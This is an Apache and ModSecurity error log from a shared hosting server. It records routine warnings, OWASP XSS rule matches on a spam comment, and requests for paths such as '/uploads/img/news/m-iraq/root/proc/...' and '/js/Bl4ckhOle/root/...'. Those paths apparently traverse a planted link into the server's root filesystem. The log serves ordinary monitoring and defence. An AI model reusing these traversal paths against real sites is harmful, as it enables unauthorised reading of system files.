[Fri Jul 17 09:56:26.040085 2026] [security2:error] [pid 2060590:tid 2060590] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu8nv42nOn2tp5Eua0_gAAABA"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpg
[Fri Jul 17 09:56:27.145335 2026] [security2:error] [pid 2060576:tid 2060576] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-global": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-cron.php"] [unique_id "almu8sYpfjINrWa7A8HryQAAAAI"]
[Fri Jul 17 09:56:27.145368 2026] [security2:error] [pid 2060576:tid 2060576] [client 66.85.158.91:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/buddhika-ip": Permission denied [hostname "manaharasupercenter.lk"] [uri "/wp-cron.php"] [unique_id "almu8sYpfjINrWa7A8HryQAAAAI"]
[Fri Jul 17 09:56:31.320828 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:55008] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:31.692539 2026] [ssl:error] [pid 2060576:tid 2060576] (70014)End of file found: [client 66.85.158.91:55028] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:32.932862 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:55046] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:33.575163 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:55074] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:33.859405 2026] [security2:error] [pid 2060582:tid 2060582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu-QL3hs-7m5L6th_yKgAAAAM"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:56:33.859438 2026] [security2:error] [pid 2060582:tid 2060582] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almu-QL3hs-7m5L6th_yKgAAAAM"], referer: http://anandaobauae.org/?C=M;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:56:33.888350 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:34.083209 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:34.318776 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:34.528565 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:34.697008 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:34.827673 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:34.928043 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:35.032201 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/thread-self/cwd/sys/kernel/slab/blkdev_ioc/aliases
[Fri Jul 17 09:56:35.237024 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:35.543678 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:55146] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:56:38.587312 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:41.677793 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.040410 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.056732 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.267826 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.282212 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.701938 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.720002 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.766554 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.942885 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.944049 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:42.955424 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:43.436259 2026] [core:error] [pid 2047046:tid 2047046] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/proc/self/cwd/sys/kernel/slab/kmalloc-96/align
[Fri Jul 17 09:56:44.095699 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.186489 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.324968 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.399388 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.421925 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.487261 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.583984 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.602244 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:44.637568 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/7:133/subsystem/vcs5/uevent"] [unique_id "almvBMzGNCrIh2ysmniQ0AAAABY"]
[Fri Jul 17 09:56:44.637611 2026] [security2:error] [pid 2050581:tid 2050581] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/7:133/subsystem/vcs5/uevent"] [unique_id "almvBMzGNCrIh2ysmniQ0AAAABY"]
[Fri Jul 17 09:56:44.768599 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:45.128302 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:46.149096 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:46.273571 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:46.477289 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:46.481019 2026] [mime:warn] [pid 2060590:tid 2060590] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:46.511234 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:46.512226 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:47.890249 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.081810 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.211126 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.233710 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.274550 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.309194 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.357705 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.386843 2026] [mime:warn] [pid 2060576:tid 2060576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.390501 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:48.666998 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:49.003148 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:50.255107 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:50.256594 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:50.301038 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:50.302196 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.52.1:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:29/subsystem/tty13/subsystem/tty29/"] [unique_id "almvClh1WDijTxd1xw5XvAAAAAc"]
[Fri Jul 17 09:56:50.302218 2026] [security2:error] [pid 2013797:tid 2013797] [client 47.82.52.1:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:29/subsystem/tty13/subsystem/tty29/"] [unique_id "almvClh1WDijTxd1xw5XvAAAAAc"]
[Fri Jul 17 09:56:50.430247 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:56:50.439438 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvCol9vhFBGA6D8l-FjQAAAAw"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:56:50.439469 2026] [security2:error] [pid 1993572:tid 1993572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvCol9vhFBGA6D8l-FjQAAAAw"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:56:55.169772 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvD7oj0IkvhSCYadmNHAAAAAQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:56:55.169906 2026] [security2:error] [pid 2018741:tid 2018741] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvD7oj0IkvhSCYadmNHAAAAAQ"], referer: http://www.anandaobauae.org/?188.92.72.129uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:57:00.421910 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:60702] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:01.674254 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:01.693133 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:01.857195 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:02.033017 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:02.033488 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/siege/"] [unique_id "almvFlCBpfuYyhJ140veLQAAAB4"]
[Fri Jul 17 09:57:02.033508 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/usr/share/doc/siege/"] [unique_id "almvFlCBpfuYyhJ140veLQAAAB4"]
[Fri Jul 17 09:57:02.034713 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:52892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:02.067203 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:02.372820 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:02.477093 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:02.579425 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:02.613955 2026] [security2:error] [pid 2013797:tid 2013797] [client 84.54.44.19:0] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\"'`;\\\\/0-9=\\\\x0B\\\\x09\\\\x0C\\\\x3B\\\\x2C\\\\x28\\\\x3B]on[a-zA-Z]+[\\\\s\\\\x0B\\\\x09\\\\x0C\\\\x3B\\\\x2C\\\\x28\\\\x3B]*?=" at ARGS:comment. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "109"] [id "941120"] [msg "XSS Filter - Category 2: Event Handler Vector"] [data "Matched Data: ;ONB = found within ARGS:comment: \\x1d5:>B>@K5 284K 7C1=KE ?@>B57>2, :>B>@K5 873>B02;820NB 2 AB><0B>;>388: \\x0d\\x0a\\x0d\\x0a1 https://adentalab.ru/\\x0d\\x0a \\x09!=OB85 A;5?:>2 8 ?>43>B>2:0 https://adentalab.ru/\\x0d\\x0a  \\x1f>A;5 ?5@28G=>3> >A<>B@0 AB><0B>;>3 A=8<05B A;5?:8 A >158E G5;NAB59 ?0F85=B0 https://adentalab.ru/\\x0d\\x0a  \\x12 ;01>@0B>@88 ?> MB8< A;5?:0< A>740QBAO 38?A>20O <>45;L G5;NAB59 ?0F85=B0 https://adentalab.ru/\\x0d\\x0a \\x0d\\x0a\\x22\\x09\\x1a5@0<8:0 (AB><0B>;>38G5A:89 D0@D>@) \\x14..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "paranoia-level/1"] [ [hostname "ayuzonelanka.com"] [uri "/wp-comments-post.php"] [unique_id "almvFlh1WDijTxd1xw5XwgAAAAc"], referer: https://ayuzonelanka.com/exclusive-q-a-with-sri-lankas-leading-ayurveda-practitioner/
[Fri Jul 17 09:57:02.614681 2026] [security2:error] [pid 2013797:tid 2013797] [client 84.54.44.19:0] ModSecurity: Rule 55dbd9162368 [id "941160"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "200"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "ayuzonelanka.com"] [uri "/wp-comments-post.php"] [unique_id "almvFlh1WDijTxd1xw5XwgAAAAc"], referer: https://ayuzonelanka.com/exclusive-q-a-with-sri-lankas-leading-ayurveda-practitioner/
[Fri Jul 17 09:57:02.615484 2026] [security2:error] [pid 2013797:tid 2013797] [client 84.54.44.19:0] ModSecurity: Rule 55dbd91a78b0 [id "941200"][file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "300"] - Execution error - PCRE limits exceeded (-47): (null). [hostname "ayuzonelanka.com"] [uri "/wp-comments-post.php"] [unique_id "almvFlh1WDijTxd1xw5XwgAAAAc"], referer: https://ayuzonelanka.com/exclusive-q-a-with-sri-lankas-leading-ayurveda-practitioner/
[Fri Jul 17 09:57:02.617122 2026] [security2:error] [pid 2013797:tid 2013797] [client 84.54.44.19:0] ModSecurity: Warning. Pattern match "\\\\xbc[^\\\\xbe>]*[\\\\xbe>]|<[^\\\\xbe]*\\\\xbe" at ARGS:comment. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "547"] [id "941310"] [msg "US-ASCII Malformed Encoding XSS Filter - Attack Detected"] [data "Matched Data: \\xbc\\xd0\\xb0\\xd1\\x82\\xd0\\xbe found within ARGS:comment: \\xd0\\x9d\\xd0\\xb5\\xd0\\xba\\xd0\\xbe\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd1\\x8b\\xd0\\xb5 \\xd0\\xb2\\xd0\\xb8\\xd0\\xb4\\xd1\\x8b \\xd0\\xb7\\xd1\\x83\\xd0\\xb1\\xd0\\xbd\\xd1\\x8b\\xd1\\x85 \\xd0\\xbf\\xd1\\x80\\xd0\\xbe\\xd1\\x82\\xd0\\xb5\\xd0\\xb7\\xd0\\xbe\\xd0\\xb2, \\xd0\\xba\\xd0\\xbe\\xd1\\x82\\xd0\\xbe\\xd1\\x80\\xd1\\x8b\\xd0\\xb5 \\xd0\\xb8\\xd0\\xb7\\xd0\\xb3\\xd0\\xbe\\xd1\\x82\\xd0\\xb0\\xd0\\xb2\\xd0\\xbb\\xd0\\xb8\\xd0\\xb2\\xd0\\xb0\\xd1\\x8e\\xd1\\x82 \\xd0\\xb2 \\xd1\\x81\\xd1\\x82\\xd0\\xbe\\xd0\\xbc\\xd0\\xb0\\xd1\\x8..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-tomcat"] [tag "attack-xss"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "ayuzonelanka.com"] [uri "/wp-comments-post.php"] [unique_id "almvFlh1WDijTxd1xw5XwgAAAAc"], referer: https://ayuzonelanka.com/exclusive-q-a-with-sri-lankas-leading-ayurveda-practitioner/
[Fri Jul 17 09:57:02.619651 2026] [security2:error] [pid 2013797:tid 2013797] [client 84.54.44.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ayuzonelanka.com"] [uri "/wp-comments-post.php"] [unique_id "almvFlh1WDijTxd1xw5XwgAAAAc"], referer: https://ayuzonelanka.com/exclusive-q-a-with-sri-lankas-leading-ayurveda-practitioner/
[Fri Jul 17 09:57:02.682179 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:03.797783 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:52954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:03.974391 2026] [core:error] [pid 2028246:tid 2028246] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/sys/kernel/slab/xfs_ifork/validate
[Fri Jul 17 09:57:04.026293 2026] [mime:warn] [pid 2060582:tid 2060582] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:04.321083 2026] [security2:error] [pid 2013797:tid 2013797] [client 84.54.44.19:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=10,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "ayuzonelanka.com"] [uri "/wp-comments-post.php"] [unique_id "almvFlh1WDijTxd1xw5XwgAAAAc"], referer: https://ayuzonelanka.com/exclusive-q-a-with-sri-lankas-leading-ayurveda-practitioner/
[Fri Jul 17 09:57:05.256619 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:52996] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:06.380869 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvGmuF39UwWB2KWdbUqgAAAA8"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:57:06.380912 2026] [security2:error] [pid 2050572:tid 2050572] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almvGmuF39UwWB2KWdbUqgAAAA8"], referer: http://anandaobauae.org/?C=N;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 09:57:14.129166 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:57:17.193769 2026] [ssl:error] [pid 2013797:tid 2013797] (70014)End of file found: [client 66.85.158.91:52354] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:57:18.284082 2026] [security2:error] [pid 2028246:tid 2028246] [client 57.141.18.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory114/node0/memory122/node0/memory35/"] [unique_id "almvJjsMb3am0TgkjETmKgAAAAo"]
[Fri Jul 17 09:57:18.284125 2026] [security2:error] [pid 2028246:tid 2028246] [client 57.141.18.22:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/memory/devices/memory7/node0/memory114/node0/memory122/node0/memory35/"] [unique_id "almvJjsMb3am0TgkjETmKgAAAAo"]
[Fri Jul 17 09:57:20.108828 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:52462] AH02013: coalesce failed to read from data bucket
